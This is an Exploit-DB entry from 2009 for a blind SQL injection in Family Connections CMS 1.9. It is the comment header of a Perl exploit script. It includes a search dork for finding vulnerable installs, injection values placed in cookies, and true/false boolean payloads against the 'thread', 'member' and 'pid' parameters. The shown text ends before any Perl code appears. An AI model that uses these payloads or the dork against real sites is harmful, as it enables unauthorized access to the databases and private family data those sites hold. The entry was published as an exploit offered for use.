Exploit-DB #8671
Description: Family Connections CMS 1.9 - SQL Injection
Type: webapps
Platform: php
Date: 2009-05-13
Author: YEnH4ckEr

Exploit:
#!/usr/bin/perl
#***********************************************************************************************
#***********************************************************************************************
#**	       										      **
#**  											      **
#**     [] [] []  [][][][>  []     []  [][  ][]     []   [][]]  []  [>  [][][][>  [][][][]    **
#**     || || ||  []        [][]   []   []  []     []   []      [] []   []	  []    []    **
#** [>  [][][][]  [][][][>  [] []  []   []  []   [][]  []       [][]    [][][][>  []    []    **
#**  [-----[]-----[][][][>--[]--[]-[]---[][][]--[]-[]--[]--------[]-----[][][][>--[][][][]---\ 
#**==[>    []     []        []   [][]   []  [] [][][]  []       [][]    []           [] []  >>--
#**  [----[[]]----[]--- ----[]-----[]---[]--[]-----[]--[]-------[] []---[]----------[]--[]---/ 
#   [>   [[[]]]   [][][][>  [][]   [] [][[] [[]]  [][]  [][][]  []  [>  [][][][> <][]   []    **
#**							                                      **
#**    											      **
#**                          Â¡VIVA SPAIN!...Â¡GANAREMOS EL MUNDIAL!...o.O                      **
#**					Â¡PROUD TO BE SPANISH!				      **
#**											      **
#***********************************************************************************************
#***********************************************************************************************
#
#----------------------------------------------------------------------------------------------
#|       	   	   (GET var 'member') BLIND SQL INJECTION EXPLOIT  		      |
#|--------------------------------------------------------------------------------------------|
#|                           |      FAMILY CONNECTIONS <= v1.9     |		              |
#|  CMS INFORMATION:	      -------------------------------------	                      |
#|										              |
#|-->WEB: http://www.familycms.com/index.php		         	                      |
#|-->DOWNLOAD: http://www.familycms.com/download.php	          	                      |
#|-->DEMO: http://www.familycms.com/demo/index.php   	   				      |
#|-->CATEGORY: CMS/PORTAL								      |
#|-->DESCRIPTION: A private, easy-to-use website where you can connect  	 	      |
#|		with your friends and family. Share photos, messages, documents and more.     |
#|-->RELEASED: 2009-05-11								      |
#|											      |
#|  CMS VULNERABILITY:									      |
#|											      |
#|-->TESTED ON: firefox 3								      |
#|-->DORK: "2006-2009 Ryan Haudenschilt"				                      |
#|-->CATEGORY: BLIND SQL INJECTION EXPLOIT			                              |
#|-->AFFECT VERSION: <= 1.9				 			              |
#|-->Discovered Bug date: 2009-05-11							      |
#|-->Reported Bug date: 2009-05-11							      |
#|-->Fixed bug date: N/A								      |
#|-->Info patch (????): N/A					  			      |
#|-->Author: YEnH4ckEr									      |
#|-->mail: y3nh4ck3r[at]gmail[dot]com							      |
#|-->WEB/BLOG: N/A									      |
#|-->COMMENT: A mi novia Marijose...hermano,cunyada, padres (y amigos xD) por su apoyo.       |
#|-->EXTRA-COMMENT: Gracias por aguantarme a todos! (Te kiero xikitiya!)		      |
#----------------------------------------------------------------------------------------------
#
#############
#-----------
#HISTORY:
#-----------
#############
#
#
#2008-06-14 --> http://www.milw0rm.com/exploits/5811 --> v1.4 --> Fixed
#
#2009-03-30 --> http://www.milw0rm.com/exploits/8319 --> v1.8.1 --> Not Fixed! (**)
#
#2009-04-03 --> http://www.milw0rm.com/exploits/8349 --> <=v1.8.2 --> Fixed
#
#2009-04-07 --> http://www.milw0rm.com/exploits/8361 --> <=v1.8.2 --> Not Fixed! (**)
#
#
#################################
#-------------------------------
#CURRENTLY:BLIND SQL INJECTION
#-------------------------------
#################################
#
#
#<<<<---------++++++++++++++ Condition: magic quotes=OFF/ON +++++++++++++++++--------->>>>
#
#<<<<-----------++++++++++++ Condition: Be register user  +++++++++++++----------->>>>
#
#
#=========
#---------
#COOKIES:
#---------
#=========
#
#
#fcms_login_uname=your_real_name
#
#fcms_login_pw=your_real_pass
#
#fcms_login_id=your_real_id+and+1=1
#
#
#(Delete PHPSESSID) Result: True --> Show page
#
#
#fcms_login_user=your_real_name
#
#fcms_login_pass=your_real_pass
#
#fcms_login_id=your_real_id+and+1=0
#
#
#(Delete PHPSESSID) Result: False --> Don't Show page
#
#
#Exploits --> (**)
#
#
#=====================================
#-------------------------------------
#(messageboard.php) GET var 'thread':
#-------------------------------------
#=====================================
#
#
#http://[HOST]/[PATH]/messageboard.php?thread=1+AND+1=1 --> TRUE
#
#http://[HOST]/[PATH]/messageboard.php?thread=1+AND+1=0 --> FALSE
#	
#
#================================
#--------------------------------
#(profile.php) GET var 'member':
#--------------------------------
#================================
#
#
#http://[HOST]/[PATH]/profile.php?member=2+AND+1=1 --> TRUE
#
#http://[HOST]/[PATH]/profile.php?member=2+AND+1=0 --> FALSE
#	
#
#===================================
#-----------------------------------
#(gallery/index.php) GET var 'pid':
#-----------------------------------
#===================================
#
#
#http://[HOST]/[PATH]/gallery/index.php?uid=2&cid=2&pid=1+and+1=1 --> TRUE
#
#http://[HOST]/[PATH]/gallery/index.php?uid=2&cid=2&pid=1+and+1=0 --> FALSE
#	
#
###########################
#--------------------------
#CONDITIONS TO EXPLOITING:
#--------------------------
###########################
#
#
#Valid username and password and id (Id is shown in cookies with autologin).
#
#
#######################################################################
#######################################################################
##*******************************************************************##
##  SPECIAL THANKS TO: Str0k